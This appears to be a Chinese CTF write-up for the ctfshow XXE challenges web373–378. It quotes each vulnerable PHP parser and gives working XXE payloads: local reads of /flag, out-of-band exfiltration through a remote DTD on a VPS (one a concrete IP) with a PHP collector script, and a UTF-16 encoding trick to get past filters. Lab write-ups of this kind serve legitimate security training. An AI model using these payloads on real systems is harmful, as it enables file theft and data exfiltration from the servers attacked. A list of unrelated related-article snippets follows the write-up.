ctfshow-web入门-xxe
什么是xxe?
XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
XML是一种用来传输和存储数据的可扩展标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
为了防止XXE攻击,应用程序应该正确配置XML解析器,避免解析包含外部实体引用的XML输入,或者对这类输入进行严格的过滤和验证。
web373
先看题
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);
-
libxml_disable_entity_loader(false);:- 默认情况下,
libxml_disable_entity_loader是启用的,它禁用外部实体的加载。这里,它被设置为false,意味着允许外部实体的加载。这可能带来安全风险,因为它可能允许 XXE (XML External Entity) 攻击。 - 读取输入:
$xmlfile = file_get_contents('php://input');- 这行代码从 PHP 的输入流(通常是 POST 请求的主体)中读取内容,并将其存储在
$xmlfile变量中。
- 默认情况下,
-
处理 XML:
if(isset($xmlfile)): 确保$xmlfile变量已经设置。$dom = new DOMDocument();: 创建一个新的 DOMDocument 对象。$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);: 使用 DOMDocument 的loadXML方法来加载 XML 数据。LIBXML_NOENT和LIBXML_DTDLOAD是加载选项,其中LIBXML_NOENT会将实体替换为它们的值,而LIBXML_DTDLOAD会加载外部 DTD。$creds = simplexml_import_dom($dom);: 使用simplexml_import_dom函数将 DOMDocument 对象转换为 SimpleXMLElement 对象,这使得处理 XML 数据更加简单。$ctfshow = $creds->ctfshow;: 从 SimpleXMLElement 对象中提取名为 "ctfshow" 的元素。echo $ctfshow;: 输出 "ctfshow" 元素的值。
-
highlight_file(__FILE__);:- 这行代码将当前文件的内容高亮显示。
构造playload
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>
先抓包,用bp传

web374
先看题
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看
先在宝塔上创建一个站点

创建一个PHP
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
再创建xxe.xml
bp抓包,然后输入
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.xml">
%aaa;
]>
<root>123</root>

然后返回文件页面
就会看到多出来一个文件
web375
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
在上面的基础上过滤了xml,version=1或0
就是把上面的xxe.xml文件改成xxe.dtd
把payload改为
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.dtd">
%aaa;
]>
<root>123</root>
web376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了xml,version=1或0,和大小写
用上一题payload,依旧可以的
web377
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
发现在之前的基础上过滤了http
那就对其进行utf-16编码
用python(要安装requests库)
import requestsurl = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""requests.post(url ,data=data.encode('utf-16'))
print("done!")b
web378

直接构建
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

相关文章:
ctfshow-web入门-xxe
什么是xxe? XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容&…...
Docker数据卷挂载
一、容器与数据耦合的问题: 数据卷是虚拟的,不真实存在的,它指向文件中的文件夹 ,属主机文件系统通过数据卷和容器数据进行联系,你改变我也改变。 解决办法: 对宿主机文件系统内的文件进行修改,会立刻反应…...
QT_day4:对话框
1、完善对话框,点击登录对话框,如果账号和密码匹配,则弹出信息对话框,给出提示”登录成功“,提供一个Ok按钮,用户点击Ok后,关闭登录界面,跳转到其他界面 如果账号和密码不匹配&…...
矢量数据库:连接人工智能应用程序的数据复杂性与可用性的桥梁
关注我的公众号:Halo咯咯 简介 矢量数据库是一种专门设计的数据库,专注于高效地存储、管理和操作矢量数据。与传统数据库处理标量值(如数字、字符串、日期)不同,矢量数据库针对的是那些表现为多维数据点的向量…...
docker:can’t create unix socket /var/run/docker.sock: is a directory
docker:can’t create unix socket /var/run/docker.sock: is a directory 原因:docker.sock不能创建 解决方式: rm -rf /var/run/docker.sock 然后重新启动docker Docker是一种相对使用较简单的容器,我们可以通过以下几种方式获取信息&…...
Qt 图形视图 /图形视图框架坐标系统的设计理念和使用方法
文章目录 概述Qt 坐标系统图形视图的渲染过程Item图形项坐标系Scene场景坐标系View视图坐标系map坐标映射场景坐标转项坐标视图坐标转图形项坐标图形项之间的坐标转换 其他 概述 The Graphics View Coordinate System 图形视图坐标系统是Qt图形视图框架的重要组成部分…...
视频号小店类目资质如何申请?新手看一遍就懂了!
我是电商珠珠 大家在视频号小店后台新增商品的时候,需要先完成类目资质的申请,通过后才可以上架相关商品。 而类目资质分为普通类目和特殊类目,如果你所上架的商品属于开放类目,那么就去按照普通类目资质去申请。 如果是定向准…...
整合SpringSecurity+JWT实现登录认证
一、关于 SpringSecurity 在 Spring Boot 出现之前,SpringSecurity 的使用场景是被另外一个安全管理框架 Shiro 牢牢霸占的,因为相对于 SpringSecurity 来说,SSM 中整合 Shiro 更加轻量级。Spring Boot 出现后,使这一情况情况大有…...
C# Onnx Yolov9 Detect 物体检测
目录 介绍 效果 项目 模型信息 代码 下载 C# Onnx Yolov9 Detect 物体检测 介绍 yolov9 github地址:https://github.com/WongKinYiu/yolov9 Implementation of paper - YOLOv9: Learning What You Want to Learn Using Programmable Gradient Information…...
Flink SQL 基于Update流出现空值无法过滤问题
问题背景 问题描述 基于Flink-CDC ,Flink SQL的实时计算作业在运行一段时间后,突然发现插入数据库的计算结果发生部分主键属性发生失败,导致后续计算结果无法插入, 超过失败次数失败的情况问题报错 Caused by: java.sql.BatchUp…...
git-怎样把连续的多个commit合并成一个?
Git怎样把连续的多个commit合并成一个? Git怎样把连续的多个commit合并成一个? 参考URL: https://www.jianshu.com/p/5b4054b5b29e 查看git日志 git log --graph比如下图的commit 历史,想要把bai “Second change” 和 “Third change” 这…...
2024年2月游戏手柄线上电商(京东天猫淘宝)综合热销排行榜
鲸参谋监测的线上电商(京东天猫淘宝)游戏手柄品牌销售数据已出炉!2月游戏手柄销售数据呈现出强劲的增长势头。 根据鲸参谋数据显示,今年2月游戏手柄月销售量累计约43万件,同比去年上涨了78%;销售额累计达1…...
Sass5分钟速通基础语法
前言 近来在项目中使用sass,想着学习一下,但官方写的教程太冗杂,所以就有了本文速通Sass的基础语法 Sass 是 CSS 的一种预编译语言。它提供了 变量(variables)、嵌套规则(nested rules)、 混合(mixins) 等…...
百度蜘蛛池平台在线发外链-原理以及搭建教程
蜘蛛池平台是一款非常实用的SEO优化工具,它可以帮助网站管理员提高网站的排名和流量。百度蜘蛛池原理是基于百度搜索引擎的搜索算法,通过对网页的内容、结构、链接等方面进行分析和评估,从而判断网页的质量和重要性,从而对网页进行…...
Android_ android使用原生蓝牙协议_连接设备以后,给设备发送指令触发数据传输---Android原生开发工作笔记167
之前通过蓝牙连接设备的时候,直接就是连接上蓝牙以后,设备会自动发送数据,有数据的时候,会自动发送,但是,有一个设备就不会,奇怪了很久,设备启动了也连接上了,但是就是没有数据过来. 是因为,这个设备有几种模式是握力球,在设备连接到蓝牙以后,需要,给设备通过蓝牙发送一个指令…...
【Java面试题】操作系统
文章目录 1.进程/线程/协程1.1辨别进程和线程的异同1.2优缺点1.2.1进程1.2.2线程 1.3进程/线程之间通信的方法1.3.1进程之间通信的方法1.3.2线程之间通信的方法 1.4什么是线程上下文切换1.5协程1.5.1协程的定义?1.5.2使用协程的原因?1.5.3协程的优缺点&a…...
SQLite数据库成为内存中数据库(三)
返回:SQLite—系列文章目录 上一篇:SQLite使用的临时文件(二) 下一篇:SQLite中的原子提交(四) SQLite数据库通常存储在单个普通磁盘中文件。但是,在某些情况下,数据库可能…...
多张图片怎么合成一张gif?快来试试这个方法
将多张图片合成一张gif动图是现在常见的图像处理的方式,适合制作一些简单的动态图片。通过使用在线图片合成网站制作的gif动图不仅体积小画面丰富,画质还很清晰。不需要下载任何软件小白也能轻松上手,支持上传jpg、png以及gif格式图片&#x…...
爬取b站音频和视频数据,未合成一个视频
一、首先找到含有音频和视频的url地址 打开一个视频,刷新后,找到这个包,里面有我们所需要的数据 访问这个数据包后,获取字符串数据,用正则提取,再转为json字符串方便提取。 二、获得标题和音频数据后&…...
mysql进阶知识总结
1.存储引擎 1.1MySQL体系结构 1).连接层 最上层是一些客户端和链接服务,包含本地sock通信和大多数基于客户端/服务端工具实现的类似于TCP/IP的通信。主要完成一些类似于连接处理、授权认证、及相关的安全方案。在该层上引入了线程池的概念,为通过认证…...
技术萨满祭典:给数据中心献祭机械硬盘
一、仪式的缘起:当测试工程师遇见数据之灵在数字文明的殿堂中,数据中心是承载万物之灵的圣地。而软件测试从业者,正是穿梭于代码与硬件之间的现代萨满。当机械硬盘(HDD)在SSD洪流中逐渐退居幕后,这场为老旧…...
好用还专业!2026 降AIGC平台测评:工具对比+最好用AI推荐
2026年真正好用的AI论文降重与改写工具,核心看降重效果、去AI味、格式保留、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 …...
Papercups开源客户聊天系统:7步快速定制部署完整指南
Papercups开源客户聊天系统:7步快速定制部署完整指南 【免费下载链接】papercups Open-source live customer chat 项目地址: https://gitcode.com/gh_mirrors/pa/papercups Papercups是一个功能强大的开源实时客户聊天系统,专为注重数据隐私和安…...
英雄联盟智能助手:5个核心功能彻底改变你的游戏体验
英雄联盟智能助手:5个核心功能彻底改变你的游戏体验 【免费下载链接】League-Toolkit 兴趣使然的、简单易用的英雄联盟工具集。支持战绩查询、自动秒选等功能。基于 LCU API。 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 还在为繁琐的游戏…...
立知-lychee-rerank-mm效果展示:汽车配置单与实拍图一致性验证
立知-lychee-rerank-mm效果展示:汽车配置单与实拍图一致性验证 1. 引言:多模态重排序的实用价值 在日常工作和生活中,我们经常遇到这样的场景:看到一份产品配置单,但不确定实际产品是否真的符合描述;或者…...
永磁同步电机双矢量模型预测电流MPCC控制仿真:传统与现代控制策略的对比分析
永磁同步电机双矢量模型预测电流MPCC控制仿真【参考文献】 (1)参考文献:《永磁同步电机鲁棒双矢量模型预测电流控制_郭鑫》 (2)描述:传统单矢量预测电流控制在单个控制周期内只能输出单个电压矢量ÿ…...
从单变量到多变量:ODE与PDE的核心差异与应用场景解析
1. 从自变量数量看本质差异 第一次接触微分方程时,我也曾被ODE和PDE搞得晕头转向。直到有天导师用了个特别形象的比喻:ODE就像观察单车道上的车流,而PDE则是分析整个立交桥的交通网络。这个比方一下子点醒了我——核心差异就在于自变量数量这…...
新手必看!Quartus II 10.0 + DE2-115开发板从安装到点亮LED的完整避坑指南
Quartus II 10.0 DE2-115开发板从安装到点亮LED的完整避坑指南 第一次接触FPGA开发时,我盯着DE2-115开发板上密密麻麻的接口和Quartus II复杂的界面,完全不知道从何下手。直到经历了无数次驱动安装失败、管脚分配错误和编译报错后,才终于让第…...
突破性AI音乐创作革新:腾讯SongGeneration开源项目全解析
突破性AI音乐创作革新:腾讯SongGeneration开源项目全解析 【免费下载链接】SongGeneration 腾讯开源SongGeneration项目,基于LeVo架构实现高品质AI歌曲生成。它采用混合音轨与双轨并行建模技术,既能融合人声与伴奏达到和谐统一,也…...
2026最新Java金三银四面试参考指南公开!
想必有很多小伙伴这会已经在为金三银四面试跳槽做准备了。临近面试肯定是要想办法提升自己的面试能力,这个时候如果还去一昧地提升自己的代码能力对面试是毫无帮助的。大多数人在面试的时候都会遇到以下几种情况(大家可以看看自己中了几个)&a…...
